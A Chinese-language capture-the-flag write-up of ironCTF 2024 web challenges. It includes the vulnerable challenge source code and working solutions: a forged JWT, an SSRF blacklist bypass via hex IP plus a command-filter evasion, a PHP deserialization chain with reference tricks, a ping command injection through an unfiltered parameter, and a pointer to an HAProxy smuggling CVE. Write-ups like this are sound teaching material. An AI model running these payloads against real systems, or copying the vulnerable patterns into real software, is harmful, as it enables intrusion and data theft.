ironCTF 2024 WEB EICS1 部分wp

好耶!是第一次拿奖的CTF!(虽然说这次re手不在有点可惜)

用户名 得分
LamentTyphon 2468
Jerrythepro123 2610
Dragonkeep 483

WEB

WEB

beginner的web题有点过于唐了。唐题≠难题。

JWT Hunt

唐题。jwt的secret被四等分在各个角落,还不让用扫描器

  • part1: /robots.txt
  • part2: cookie里
  • part3: /sitemap.xml
  • part4: curl /secretkeypart4

part1,2,4都算常规。part3你告诉我不用扫描器怎么做。。。有点逆天了嗷

最后是队里pwn✌用“lightfuzz”出的())

最后凑出来的key:6yH$#v9Wq3e&Zf8LpRt1%Y4nJ^aPk7Sd2C@mQjUwEbGoIhNy0T!BxlVz5uMKA#Yp

cookie填: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4MjAwMjYyfQ.IYR8d9sNi0C0e8OYm8-BSh86geTSMzTfonN4o9PKksI

ironCTF{W0w_U_R34lly_Kn0w_4_L07_Ab0ut_JWT_3xp10r4710n!}

Mango

这位更是重量级。看题目以为是MongoDB数据库注入啥的,试了半天没结果。md最后发现直接访问https://mango.1nf1n1ty.team/admin/index就有flag。。。(无语)

ironCTF{I_Said_M@nG0_N0t_M0ngo!}

好了唐题就到这里。以后这种题少出点真的(

Loan App

先看配置文件(吸取教训了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
global
log stdout format raw local0
maxconn 2000
user root
group root
daemon

defaults
log global
option httplog
timeout client 30s
timeout server 30s
timeout connect 30s

frontend http_front
mode http
bind :80
acl is_admin path_beg /admin
http-request deny if is_admin
default_backend gunicorn

backend gunicorn
mode http
balance roundrobin
server loanserver loanapp:8000 maxconn 32

看到有一个配置文件上的限制(不能去/admin)然而,一般这种都是可以找到现成的漏洞直接绕的(不然这题就没法解了)

bing了一下,出CVE-2021-40346

同样的payload打就完了。这里贴一个别的博客的解

然而,这是预期解。在我做题的时候直接把uuid检测那个函数放bing上搜,搜到了这样的一篇文章:https://stackoverflow.com/questions/25051675/how-to-validate-uuid-v4-in-go

直接输入fbd3036f-0f1c-4e98-b71c-d4cd61213f90直接就tm出flag了??????

不是哥们。等我搞明白发生肾么事了在把这段补上(

b64SiteViewer

附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from flask import render_template,render_template_string,Flask,request
from urllib.parse import urlparse
import urllib.request
import random
import os
import subprocess
import base64
app=Flask(__name__)
app.secret_key=os.urandom(16)

@app.route('/',methods=['GET','POST'])
def home():
if request.method=='GET':
return render_template('home.html')
if request.method=='POST':
try:
url=request.form.get('url')
scheme=urlparse(url).scheme
hostname=urlparse(url).hostname
blacklist_scheme=['file','gopher','php','ftp','dict','data']
blacklist_hostname=['127.0.0.1','localhost','0.0.0.0','::1','::ffff:127.0.0.1']
if scheme in blacklist_scheme:
return render_template_string('blocked scheme')
if hostname in blacklist_hostname:
return render_template_string('blocked host')
t=urllib.request.urlopen(url)
content = t.read()
output=base64.b64encode(content)
return (f'''base64 version of the site:
{output[:1000]}''')
except Exception as e:
print(e)
return f" An error occurred: {e} - Unable to visit this site, try some other website."

@app.route('/admin')
def admin():
remote_addr = request.remote_addr

if remote_addr in ['127.0.0.1', 'localhost']:
cmd=request.args.get('cmd','id')
cmd_blacklist=['REDACTED']
if "'" in cmd or '"' in cmd:
return render_template_string('Command blocked')
for i in cmd_blacklist:
if i in cmd:
return render_template_string('Command blocked')
print(f"Executing: {cmd}")
res= subprocess.run(cmd, shell=True, capture_output=True, text=True)
return res.stdout
else:
return render_template_string("Don't hack me")

if __name__=="__main__":
app.run(host='0.0.0.0',port='5000')

一眼ssrf+RCE。我们要绕两个黑名单过滤。RCE这个好说(我们CN CTFER对RCE无所畏惧了已经,新生赛全是这些)主要是SSRF的过滤卡了我一会。

这里可以用进制绕过

127.0.0.1 == 0x7F.0.0.1

这题出题人还是有点仁慈了,需要ssti的服务/admin居然是get传参。还是相当方便的。

访问url:http://0x7F.0.0.1:5000/admin?cmd=env

返回:base64 version of the site: b’Q29tbWFuZCBibG9ja2Vk’,解码得Command blocked

显然我们还有一个黑盒的黑名单要绕,但这个纯唐。随便手fuzz一下就出了

访问url:http://0x7F.0.0.1:5000/admin?cmd=en\v

出:base64 version of the site: b’U0hMVkw9MQpPTERQV0Q9LwpMQ19DVFlQRT1DLlVURi04CldFUktaRVVHX1NFUlZFUl9GRD0zCmZsYWc9aXJvbkNURnt5MHU0cjNyMGNrMW42azMzcGg0Y2sxbjZ9Cl89L3Vzci9sb2NhbC9iaW4vcHl0aG9uClBXRD0vaG9tZS91c2VyCg==’

解码得flag

ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}

cerealShop

黑盒题。进去F12看源码:

看到file想到路径穿越漏洞。先正常读取一个试试水

https://cerealshop.1nf1n1ty.team/?file=styles.css

没问题

根据base64中的提示访问../../../../../source出源码

整理源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

// 获取通过GET请求传递的文件名
$file = $_GET['file'];

// 包含(执行)指定的文件
includeFile($file);

// 获取环境变量中的FLAG值
$FLAG = getenv('FLAG');

class Admin {
// 类的属性
public $is_admin = "";
public $your_secret = "";
public $my_secret = "";

// 类的构造函数
public function __construct($in, $ysecret, $msecret) {
// 使用md5加密传入的$in值,并赋值给is_admin属性
$this->is_admin = md5($in);
// 直接赋值给其他两个属性
$this->your_secret = $ysecret;
$this->my_secret = $msecret;
}

// 魔术方法__toString,当对象被用在需要字符串的上下文中时会被调用
public function __toString() {
// 返回is_admin属性的值
return $this->is_admin;
}
}

// 检查是否存在名为'can_you_get_me'的cookie
if (isset($_COOKIE['can_you_get_me'])) {
try {
// 对cookie中的值进行base64解码
$f = base64_decode($_COOKIE['can_you_get_me']);
// 如果解码失败,抛出异常
if (!$f) {
throw new Exception("");
}
// 反序列化解码后的字符串
$unout = unserialize($f);
// 如果反序列化失败,抛出异常
if (!$unout) {
throw new Exception("\n wrong cookie");
}
// 设置对象的my_secret属性为FLAG的值
$unout->my_secret = $FLAG;
// 检查is_admin属性是否为0(md5加密后的0),以及your_secret是否等于my_secret
if ($unout->is_admin == 0 && $unout->your_secret === $unout->my_secret) {
// 如果条件满足,输出FLAG
echo "Okay here is your flag:", $FLAG;
} else {
// 否则输出"no"
echo "no ";
}
} catch (Exception $e) {
// 捕获并输出异常信息
echo "Error: " . $e->getMessage()

一个经典的反序列化漏洞。可以看:https://www.cnblogs.com/LAMENTXU/articles/18147817#1.10 第一关几乎一样

搓链子出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Admin {
public $is_admin = 0;
public $your_secret = "";
public $my_secret = "";
public function __construct() {
$this->my_secret = 'a';
$this->your_secret = &$this->my_secret;
}
public function __toString() {
return $this->is_admin;
}
}
echo base64_encode(serialize(new Admin()));
?>

把输出填进cookie里(can_you_get_me)得flag

ironCTF{D353r1411Z4710N_4T_1T5_B35T}

MovieReviewApp

.git泄露源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from flask import Flask, render_template, request, redirect, url_for, flash, session
import psutil
import os
import platform
import subprocess
import re
import os
from dotenv import load_dotenv

load_dotenv()

app = Flask(__name__)
app.secret_key = os.urandom(32)
ADMIN_USERNAME = os.getenv('ADMIN_USERNAME')
ADMIN_PASSWORD = os.getenv('ADMIN_PASSWORD')

@app.route('/')
def home():
return render_template('index.html')

@app.route('/admin', methods=['GET', 'POST'])
def admin():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username == ADMIN_USERNAME and password == ADMIN_PASSWORD:
session['logged_in'] = True
return redirect(url_for('admin_panel'))
else:
flash("Invalid credentials. Please try again.")

return render_template('login.html')

def ping_ip(ip, count):
if re.match(r'^((25[05]|(2[04]|1\d|[19]|)\d)\.?\b){4}$', ip):
return subprocess.check_output(f"ping c {count} {ip}", shell=True).decode()
else:
return "Invalid ip address and count!"


@app.route('/admin_panel', methods=['GET', 'POST'])
def admin_panel():
if 'logged_in' not in session:
return redirect(url_for('admin'))
ping_result = None
if request.method == 'POST':
ip = request.form.get('ip')
count = request.form.get('count', 1)
try:
ping_result = ping_ip(ip, count)
except ValueError:
flash("Count must be a valid integer")
except Exception as e:
flash(f"An error occurred: {e}")

memory_info = psutil.virtual_memory()
memory_usage = memory_info.percent
total_memory = memory_info.total / (1024 ** 2)
available_memory = memory_info.available / (1024 ** 2)
return render_template('admin.html', ping_result=ping_result,
memory_usage=memory_usage, total_memory=total_memory,
available_memory=available_memory)

@app.route('/logout')
def logout():
session.pop('logged_in', None)
return redirect(url_for('admin'))

if __name__ == '__main__':
app.run(debug=True)

查询git提交历史:

获得用户名密码

获得url路径

前往https://movie-review.1nf1n1ty.team/servermonitor/admin登录即可

让我想起了buuctf上的ping ping ping。看关键的函数:

1
2
3
4
5
def ping_ip(ip, count):
if re.match(r'^((25[05]|(2[04]|1\d|[19]|)\d)\.?\b){4}$', ip):
return subprocess.check_output(f"ping c {count} {ip}", shell=True).decode()
else:
return "Invalid ip address and count!"

只对ip进行了严格的过滤。而count理论上只能是数字(但只是前端限制)所以没有过滤。

burp抓包改一下出

cat /flag.txt

ironCTF{4lways_b3_c4ar3ful_w1th_G1t!}